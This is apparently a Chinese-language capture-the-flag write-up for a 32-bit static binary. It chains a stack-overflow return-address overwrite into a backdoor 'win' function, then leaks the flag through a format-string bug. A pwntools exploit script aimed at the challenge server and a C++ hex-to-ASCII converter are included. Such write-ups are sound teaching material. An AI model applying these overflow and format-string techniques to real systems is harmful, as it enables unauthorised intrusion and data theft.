题目自取
链接:https://pan.baidu.com/s/1m8PK-A-7Oaqduxk7Pxucnw?pwd=cdf5
提取码:cdf5
开始:
首先放到IDA查看基本情况
有个很明显的栈溢出漏洞,再去看看程序的具体保护情况
基本情况就是32位程序,开了canary保护,nx保护(不能写入shellcode),然后没开pie
我第一时间想到的就是去泄露canary,然后完成rop得到shell
不过这里有一个特别让我疑惑的点,就是保护措施明明打开了canary保护,但是我反汇编出来的vuln函数居然没有canary的检查,就直接ret返回了
好吧,既然没有那岂不是更容易了,于是我就准备system+/bin/sh了
但是gdb里发现居然没有system的plt表的地址,然后一看原来是静态编译,那没事了
静态编译就更好办了,直接ROPgadget开起来,构造如下图即可(这当然是一种方法)
不过很不走运,在IDA里,并没有找到/bin/sh字符串,这希望也破灭了。
不过再仔细看看有个win函数。我们打开看看
这分明就是一个后门函数啊。
基本逻辑就是v4读入flag,再把v4的内容读65个字节给v3(应该就是把flag给v3),然后让用户手动输入v2,然后重点来了,很明显的格式化字符串漏洞‘printf(v2,v1)’,而v2正是我们可以操控的。于是结合前面的vuln栈溢出漏洞,我们可以覆盖返回地址为win函数的地址,从而完成跳转到win函数,因为v3是在栈上,且读入了flag,那么我们的思路就是通过格式化字符串漏洞去泄露出flag
这里我们反汇编一下win函数
如果只是单纯根据IDA给的栈位置v3位置位于esp+0x1b的话,其实是错的,可以很明显看到esp实际上一直在变动,所以通过综合判断,应该开始于第是十个参数,那接下来就是泄露啦,过程有点繁琐,就是不停地给v2读入%k$p获得对应的字符串
exp如下
from pwn import *
elf = ELF('./canary')
io =remote("81.68.85.214",8007)
context(os="linux", arch="i386",log_level="debug")
from LibcSearcher import *
io.recv()
payload=b'a'*28+p32(elf.symbols['win'])
io.sendline(payload)
payload=b'%10$p%11$p'
io.sendline(payload)
io.recv()
io.interactive()
其中给v2的payload要重复好多次才能完全把flag泄露
这里上传我写的c++代码,用于转换地址为对应阿斯克码字母的
#include <iostream>
#include <cstdio>
#include <cmath>
#include <cstring>
#include <sstream>
using namespace std;
long long str_int(string str);
int weishu(long long num);
void shuchu(int ws, long long num);
int main()
{
string str;
cin >> str;
long long num;
num= str_int(str);
printf("%x\n", num);
printf("%d\n", weishu(num));
shuchu(weishu(num), num);
return 0;
}
int weishu(long long num)
{
int ws = 0;
for (int i = 0; num > 0; i++)
{
num = num / 16;
ws++;
}
return ws;
}
long long str_int(string str)
{
long long num = 0;
long long len;
len = str.length();
for (int i = 2; i < len; i++) {
if (str[i] >= '0' && str[i] <= '9')
num = num * 16 + str[i] - '0';
else if (str[i] >= 'A' && str[i] <= 'F')
num = num * 16 + str[i] - 'A' + 10;
else if (str[i] >= 'a' && str[i] <= 'f')
num = num * 16 + str[i] - 'a' + 10;
}
return num;
}
void shuchu(int ws, long long num)
{
std::stringstream char_stream;
for (int i = 0; i < 8; i++) {
char_stream << char((num >> (8 * i)) & 0xff);
}
std::string char_string = char_stream.str();
// Print the result
std::cout << "The string representation of the hexadecimal number is: " << char_string << std::endl;
}
转换为字符的十六进制数的八位构成。最终,我们可以使用该字符串,例如打印或在程序中使用该字符串。
把每一次泄露出来的地址都放到里面跑一下,就拿到flag啦!